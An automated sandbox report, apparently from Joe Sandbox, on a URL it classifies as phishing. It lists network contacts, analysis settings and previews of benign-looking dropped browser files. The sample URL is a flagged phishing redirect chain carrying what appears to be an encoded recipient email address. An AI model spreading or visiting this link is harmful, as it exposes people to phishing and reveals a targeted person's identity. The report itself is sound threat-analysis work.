104.18.94.41	unknown	United States	13335	CLOUDFLARENETUS	false
63.140.62.27	unknown	United States	15224	OMNITUREUS	false
172.217.23.99	unknown	United States	15169	GOOGLEUS	false
52.21.129.120	partners-alb-1113315349.us-east-1.elb.amazonaws.com	United States	14618	AMAZON-AESUS	false
18.173.205.104	tag-logger.demandbase.com	United States	3	MIT-GATEWAYSUS	false
172.67.157.17	earthheros.com.de	United States	13335	CLOUDFLARENETUS	false
52.19.196.164	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com	United States	16509	AMAZON-02US	false
104.244.42.3	s.twitter.com	United States	13414	TWITTERUS	false
52.212.141.180	unknown	United States	16509	AMAZON-02US	false
150.171.27.10	ax-0001.ax-msedge.net	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
104.21.34.79	unknown	United States	13335	CLOUDFLARENETUS	false
104.18.17.5	js.qualified.com	United States	13335	CLOUDFLARENETUS	false
188.114.96.3	unknown	European Union	13335	CLOUDFLARENETUS	false
18.235.133.40	unknown	United States	14618	AMAZON-AESUS	false
104.16.123.96	api.www.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
142.250.185.98	googleads.g.doubleclick.net	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.5

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1535206
Start date and time:	2024-10-16 17:55:20 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 54s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	https://url.avanan.click/v2/r01/___https://www.google.com.sg/zwq?v=7WZIz&fru;why=7WZIz&fru;xf=y&fru;jxwh=7WZIz&fru;xtzwhj=&fru;hi=7WZIz&fru;zfhy=&fru;zwq=frudxdgtqiqntsfuufwjq.htrd.n___.YXAzOnNvdXRoZXJua2l0Y2hlbmFuZGdyaWxsOmE6bzpkZGUwNjUwMWZkNDExNDYwNzZjMDZiMzcyYTg5ZmU1NDo3OjE4NDg6ZGQ5NzQ2M2JkZmJmZTM2MDBmOTU2MjU4MWJhNWIyZDA0ODAzMGI4MzllZGM2ZjkzYmIwZjc2YWQ5ZmQ2MDFhNTpoOlQ6VA#ZWphbWVzQGVuY2luYWNhcGl0YWwuY29t
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal60.phis.win@22/275@160/49
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 216.58.212.163, 142.250.185.238, 66.102.1.84, 34.104.35.123, 20.109.210.53, 93.184.221.240, 192.229.221.95, 20.3.187.198, 40.69.42.241, 184.28.89.29, 142.250.184.200, 142.250.186.106, 142.250.186.74, 142.250.181.234, 142.250.185.170, 142.250.185.234, 142.250.186.42, 172.217.16.202, 216.58.206.74, 142.250.185.202, 142.250.185.138, 172.217.18.10, 142.250.186.138, 142.250.184.202, 172.217.16.138, 142.250.185.74, 142.250.184.234, 88.221.110.227, 88.221.110.136, 104.102.43.106, 13.107.42.14, 52.18.168.199, 34.255.61.41, 34.252.167.206, 69.173.144.138, 69.173.144.165, 69.173.144.139, 142.250.184.232, 172.217.18.3
Excluded domains from analysis (whitelisted): pixel.rubiconproject.net.akadns.net, slscr.update.microsoft.com, otelrules.afd.azureedge.net, cn-assets.adobedtm.com.edgekey.net, clientservices.googleapis.com, e10776.b.akamaiedge.net, wu.azureedge.net, wildcard.marketo.net.edgekey.net, l-0005.l-msedge.net, clients2.google.com, ocsp.digicert.com, www.googletagmanager.com, bg.apr-52dd2-0503.edgecastdns.net, cs11.wpc.v0cdn.net, ocsp.edge.digicert.com, glb.cws.prod.dcat.dsp.trafficmanager.net, sls.update.microsoft.com, hlb.apr-52dd2-0.edgecastdns.net, bat.bing.com, update.googleapis.com, wu-b-net.trafficmanager.net, glb.sls.prod.dcat.dsp.trafficmanager.net, www-linkedin-com.l-0005.l-msedge.net, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, ctldl.windowsupdate.com.delivery.microsoft.com, otelrules.azureedge.net, wu.ec.azureedge.net, cm.everesttech.net.akadns.net, ctldl.windowsupdate.com, od.linkedin.edgesuite.net, fe3cr.delivery.mp.microsoft.com, fe3.delivery.mp.microsoft.com, www.linkedin.c
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: https://url.avanan.click/v2/r01/___https://www.google.com.sg/zwq?v=7WZIz&fru;why=7WZIz&fru;xf=y&fru;jxwh=7WZIz&fru;xtzwhj=&fru;hi=7WZIz&fru;zfhy=&fru;zwq=frudxdgtqiqntsfuufwjq.htrd.n___.YXAzOnNvdXRoZXJua2l0Y2hlbmFuZGdyaWxsOmE6bzpkZGUwNjUwMWZkNDExNDYwNzZjMDZiMzcyYTg5ZmU1NDo3OjE4NDg6ZGQ5NzQ2M2JkZmJmZTM2MDBmOTU2MjU4MWJhNWIyZDA0ODAzMGI4MzllZGM2ZjkzYmIwZjc2YWQ5ZmQ2MDFhNTpoOlQ6VA#ZWphbWVzQGVuY2luYWNhcGl0YWwuY29t

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 16 14:56:14 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9804040543906805
Encrypted:	false
SSDEEP:	48:855dHTfL3HpidAKZdA19ehwiZUklqehsJy+3:8B/LBJy
MD5:	23786B91D6A6D25868CCDD9CAD83A8D1
SHA1:	9881EB56E4F6FACECCF2F7C094D928911E8F1763
SHA-256:	D32FFECBC615575747F71E7DF9A0CBED569D461402448EC9E1BAE0ED7D3E16F4
SHA-512:	5767B056DAD176453CB459D2C6D8C8525DB2EF86A9D08300248EC8BAB2FA1F168135D913B2FD359629FA0278A1E6CB9F7FEA1D7A294342557A915BF18131874B
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....n......N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IPY......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VPY......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VPY......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VPY............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VPY.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........E........C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 16 14:56:14 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.998288568620638
Encrypted:	false
SSDEEP:	48:8e5dHTfL3HpidAKZdA1weh/iZUkAQkqehxJy+2:8+/59Q+Jy
MD5:	75D58A71217BB6AE1D2B4A74497002D4
SHA1:	5E868241208D0C8664C80EF5FF1D14FDC2B187DD
SHA-256:	BD47C791D91DB9DE93486CD227EB5508AC66E8F2F464400451B681F18D79BF98
SHA-512:	5DF0587E20EDE9711F33C5AF5A81D7718CC98DE225E8AF1A57B59775E77CB7EBF2274F19DBB608606CE08FDD7AC900A9BAE563A69AA59C7C53EF53A38D561BD0
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....8.......N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IPY......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VPY......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VPY......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VPY............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VPY.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........E........C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 4 12:54:07 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.007624370534282
Encrypted:	false
SSDEEP:	48:8xsdHTfLsHpidAKZdA14tseh7sFiZUkmgqeh7srJy+BX:8x8/YndJy
MD5:	D6440F5F3E307F75EC47F2789E6AF6C7
SHA1:	EED3EC9ED70FFECF318E5CBB5A7C6F4FD943EBFD
SHA-256:	9AE21E8F4B13FFBF3063EDB7C9FA85EBE79E96504969E6DE4531EDAC5E4BDEFA
SHA-512:	B47D0159809700576DD544234EBE952154A3ECC13EC85A3EACC9134FDC92C6135935F9302E90CB800F5E5C3D91C335D7FBDCF704AAABF86B4C473DBF7BA684A2
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,......e>....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IPY......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VPY......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VPY......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VPY............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VDW.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........E........C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 16 14:56:14 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.994143541345421
Encrypted:	false
SSDEEP:	48:8e5dHTfL3HpidAKZdA1vehDiZUkwqeh1Jy+R:8+/ajJy
MD5:	EA5C474CA20CFAC695B5ED3A6CB16055
SHA1:	CF650B0BA5BC78C3AC1758FBBCE655D00452AA2E
SHA-256:	4DC63CF18D1098C2E7B45CEA498D7897240F3F8922DAC205D92AB13409BBC1E1
SHA-512:	C1A41824045E1033B695F7C228DDB53DC7D1DE3F3B3FCE34C3042317ED377509D75E36A08727D0C723F39263B859665F9D2E620930B44738AC602F4A79E1448C
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....x.......N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IPY......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VPY......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VPY......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VPY............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VPY.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........E........C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 16 14:56:14 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.983404192797002
Encrypted:	false
SSDEEP:	48:8D5dHTfL3HpidAKZdA1hehBiZUk1W1qehnJy+C:8//a9HJy
MD5:	C7C4C68857DC481E1765A2A51AAEF781
SHA1:	40779D5842A71B2E85D280C75EB67EFD2601432E
SHA-256:	89A4CCE68B5AA98708A6CD39119FFC2AE0BD5117A56FA7BC94D3F81F4DC3F3AD
SHA-512:	D22ABFC489B84AC7E7BF27B3F68A71DE0AE87639133DF20675779248170D5F51F5D71A6AE5CBC369D868B2C012E4A3BCFBC2058E110BDEE74D2586B898B5169E
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....h.......N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IPY......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VPY......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VPY......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VPY............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VPY.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........E........C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 16 14:56:14 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.992369287622034
Encrypted:	false
SSDEEP:	48:8N5dHTfL3HpidAKZdA1duT+ehOuTbbiZUk5OjqehOuTbdJy+yT+:8V/kT/TbxWOvTbdJy7T
MD5:	89E7E9286EF56C74F648FD6E22541CEE
SHA1:	7D763A1D4213114F4DE3AAF2E3632039B8ABB144
SHA-256:	DBAC8FEB61C46CB73D3F400525A778F9A97A0F5E7C1B1DEE0B9CB46B3B93D254
SHA-512:	A107337266E60604645F30045939D4FAE81248DFB5ADADA39DCB3326F91626236566876EC612F3BF96EE34C0C52A57AEDACC60460700F3EB736E5BD943DB4359
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....T1......N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IPY......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VPY......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VPY......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VPY............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VPY.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........E........C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Chrome Cache Entry: 147

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6758
Entropy (8bit):	4.759815109482734
Encrypted:	false
SSDEEP:	48:YghQC2P365rDjW6t16HZL9TtbSWF0H1fLFbe:pQjIrDjGHZL9TlzFsLFbe
MD5:	93895CDD3863C54B096D8918C47D6C26
SHA1:	34EE1D385F0CDB7801725A8024DD1F97DFEA7CFB
SHA-256:	F9164E6DE7C84569DCB2EB5C49844A0C5AF07B9A2410A05A691D360BEEECE0FD
SHA-512:	F6A393E933624C4B6A6E2F42040D509D91DE83172F94A707CCA0FB0588A6FFBC2B15FF0F82B358E144603DBB25168B070552443A96271931F27ED4C3D4B36CF0
Malicious:	false
Reputation:	low
Preview:	{"fields":[{"id":"Email","label":"Email:","dataType":"email","validationMessage":"Must be a valid business email.","rowNumber":0,"columnNumber":0,"required":true,"formPrefill":true,"visibilityRules":{"ruleType":"alwaysShow"}},{"id":"CloudFlare_POP__c","label":"CloudFlare POP:","dataType":"hidden","rowNumber":1,"columnNumber":0,"required":false,"autoFill":{"value":"","valueFrom":"default"}},{"id":"CountryCode__c","label":"CountryCode:","dataType":"hidden","rowNumber":2,"columnNumber":0,"required":false,"autoFill":{"value":"","valueFrom":"default"}},{"id":"Lead_Source_Detail__c","label":"Lead Source Detail:","dataType":"hidden","rowNumber":3,"columnNumber":0,"required":false,"autoFill":{"value":"","valueFrom":"default"}},{"id":"LeadSource","label":"Person Source:","dataType":"hidden","rowNumber":4,"columnNumber":0,"required":false,"autoFill":{"value":"","valueFrom":"default"}},{"id":"Accept_Language__c","label":"Accept Language:","dataType":"hidden","rowNumber":5,"columnNumber":0,"requir

Chrome Cache Entry: 148

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	50
Entropy (8bit):	4.663465189601648
Encrypted:	false
SSDEEP:	3:YSAjKv8Lt/1INC+Wkf:YSAjKvax1IN1
MD5:	67CC5AAC6EC0A33B54925298925DC6E1
SHA1:	90B02C2B8E4C9693F5D2D377A7C819D588B9BD99
SHA-256:	4D0170923688518B46721AE2F89485E04EDB9E3B0988A5531105305D24E301FD
SHA-512:	D7DB1BBDA3B6B56BB4A16502DD3C20FDD789B8581A4A754FAA7C66473DBA3A536A5465D50082960E0B832C913C2B49C14CDC5AA217DCDF52072DB81DCD67C684
Malicious:	false
Reputation:	low
Preview:	{"webpackCompilationHash":"b58384c52a23cb779972"}.

Chrome Cache Entry: 149

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	188425
Entropy (8bit):	5.206744781131978
Encrypted:	false
SSDEEP:	1536:tp59iEXy6LNidDuf9P0aL1ss4OD2RP1822UuNNoJ57T5IahU5WuF:PiEXy6L8Du7L1FDM9822UuLoDBIaqWuF
MD5:	DBC856E4DDBAB7C9E91C1B19583F0D82
SHA1:	266C06E7D939A4BFC31F9D4ECD76394715E17C95
SHA-256:	819BECF151406E5642693D55BFCC82D05710D7ED8AF11601D635B5B2DF8B3B05
SHA-512:	3E43CE840A6416602D52D968A3ADF28D2DFDC763A7A086ECBEE1BCCD845125B425FBC6B9CD1ED2443464984BC06B0B3F48D4F45CC1991609D70B83BB38247491
Malicious:	false
Reputation:	low
URL:	https://www.cloudflare.com/page-data/learning/access-management/what-is-sase/page-data.json
Preview:	{"componentChunkName":"component---src-components-learning-center-templates-learning-center-article-template-tsx","path":"/learning/access-management/what-is-sase/","result":{"data":{"headerData":{"contentTypeId":"navNavigationGroup","contentfulId":"nXsrVte4AQdH4vq24MPyF","locale":"en-US","mainNav":{"contentTypeId":"navNavigation","contentfulId":"3onSCkJx7542CMAJj5nxPP","locale":"en-US","navigationType":"Header","isDefaultNav":true,"backgroundColor":null,"sectionPadding":"default","navigationItems":[{"contentTypeId":"navNavigationItem","contentfulId":"1DcK33BUEuz8RloURNLefw","locale":"en-US","name":"Solutions","description":null,"navIcon":null,"contentfulButton":null,"showIconOnly":false,"hideOnChinaSite":false,"overrideTheSalesPhoneNumber":null,"navigationItems":[{"contentTypeId":"navNavigationItem","contentfulId":"5kdEfA2EwI8jw4ExjnN4R2","locale":"en-US","name":" By topic","description":null,"mainLink":null,"navigationLinks":[{"contentTypeId":"elementNavLink","contentfulId":"7JRJ8E2Y

Chrome Cache Entry: 150

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	32
Entropy (8bit):	4.054229296672174
Encrypted:	false
SSDEEP:	3:3NC0G2C2Y:d5O
MD5:	1182BFFEDCEFF5C165316B8F97CE8B69
SHA1:	0E01294F1E5366929E2D3F86BB0277845D848C87
SHA-256:	6A011196CCC9B17C13FE8EF397C031BF45D8FB41F455CC308DC4296C7A2B2CF7
SHA-512:	45562A8E0F25D62A53B879114515F7639932DE67E12D697F76DF28EA511ADD844FD3B7ADE84B89878909ECFCCF4BA9E5087E1BFBEE35D1EFA0E043A6FDD05FBB
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISEAmPbWnVJ9RvFBIFDQ-obAw=?alt=proto
Preview:	ChQKEg0PqGwMGgQICRgBGgUImgEYAg==

Chrome Cache Entry: 151

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 128 x 128, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	601
Entropy (8bit):	6.788806720493893
Encrypted:	false
SSDEEP:	12:6v/7BU8/l3KPLQnyftcTSu0CBeOjGk1PTEjjyRBqyrQUXN:uUO3KjQyftcuu0CBFGkNTxBdQUXN
MD5:	AB265D9767D6D5B741ACC59F4033FC1A
SHA1:	646911DFC78766823E9D74F57AE22419AE55B5CD
SHA-256:	C18249566F292FDA0AA2DFAE9E0174ACE2DAD8B8EFBD1A21A1A3449C87B292F5
SHA-512:	A6ABFFE94EDDB5A4EEC994C9BFEA65094E19EF4E1AED3C75BC1FB44717634F7BB757CB9889873687182274E1F46DE861A3B7BCF9E95ECECDE71F51DB66006462
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.....................sRGB.........gAMA......a....ZPLTE....f3.f2.f4.g3.e5.g3.e3.f3.g3.h0.e0.f3.f3.e5.g2.d2.d4.h4.g3.i3.g3.p0.g4.f3.g5.f2.e2.f3.h8E..(....tRNS....`.... 0..0.pp@.P......`. ......sIDATx...KN.@...i....J...._..aARH.COY..@}.i...RJ]D9.T...........>_`.........H.5.. ....}..c....._..07`X..W...v..}.D.`.....I.2 .v....\|..o.....p?...o.......w...a.........p...}:.................p...}O\..s.....>...\..s.....>...Q..g.w-....<XA....}......e.q.&`..h......9..?.* .}.{...@........4.uv.k&dE...(....i. ^.S.....PO...s.. ..A.........&.2.nS..Md..s.....~.RJ)....4<.@V.@....IEND.B`.

Chrome Cache Entry: 152

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (24745), with no line terminators
Category:	dropped
Size (bytes):	24745
Entropy (8bit):	4.7913246137971255
Encrypted:	false
SSDEEP:	384:WZ8C4hGoFpHDouLlCS7FGAVsq1nwGfg4xqsQMPNE:hlpuJ
MD5:	1F23C9EF64CD1F175F388F3672A295A8
SHA1:	0630C80D482EF9BED4203A3AF72C87586716B6FF
SHA-256:	7C2092048F21074425F3E025DB78FB6505F75D6FCF2E121CED055C8D53BCB1B3
SHA-512:	37799B22199F0ABA67D3A892BBF616FA73859BAB543251329D708CCDBE5B642E25C22FAF6E043B9EE55B3B147F4DA8FF3D7B00120A3BF28658C563251ED1AAB5
Malicious:	false
Reputation:	low
Preview:	#onetrust-banner-sdk .onetrust-vendors-list-handler{cursor:pointer;color:#1f96db;font-size:inherit;font-weight:bold;text-decoration:none;margin-left:5px}#onetrust-banner-sdk .onetrust-vendors-list-handler:hover{color:#1f96db}#onetrust-banner-sdk:focus{outline:2px solid #000;outline-offset:-2px}#onetrust-banner-sdk a:focus{outline:2px solid #000}#onetrust-banner-sdk #onetrust-accept-btn-handler,#onetrust-banner-sdk #onetrust-reject-all-handler,#onetrust-banner-sdk #onetrust-pc-btn-handler{outline-offset:1px}#onetrust-banner-sdk.ot-bnr-w-logo .ot-bnr-logo{height:64px;width:64px}#onetrust-banner-sdk .ot-tcf2-vendor-count.ot-text-bold{font-weight:bold}#onetrust-banner-sdk .ot-close-icon,#onetrust-pc-sdk .ot-close-icon,#ot-sync-ntfy .ot-close-icon{background-size:contain;background-repeat:no-repeat;background-position:center;height:12px;width:12px}#onetrust-banner-sdk .powered-by-logo,#onetrust-banner-sdk .ot-pc-footer-logo a,#onetrust-pc-sdk .powered-by-logo,#onetrust-pc-sdk .ot-pc-footer-

Chrome Cache Entry: 153

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	5.195218939009382
Encrypted:	false
SSDEEP:	24:YgGXhXo4YAGKooB80ar1qhqo4YAGADwB0arE:YcKoaarUcarE
MD5:	EBEEA0414FED32193900E84E33F2BE1B
SHA1:	8EFBADFF74F2B75D7BC755254E2369B27DBE8F32
SHA-256:	911BA3DE8DCDA879031896EFB4FF7EAF448FF44FC448F6AFB1281B606BD5B323
SHA-512:	16F367EA2F09F67390F1083398F7D3B4AA5369259EC25819A0A93DDAA33334563B939315503B429996662E402CBBB6AA8A376DD7F4BC595D96938A2AACBB72FB
Malicious:	false
Reputation:	low
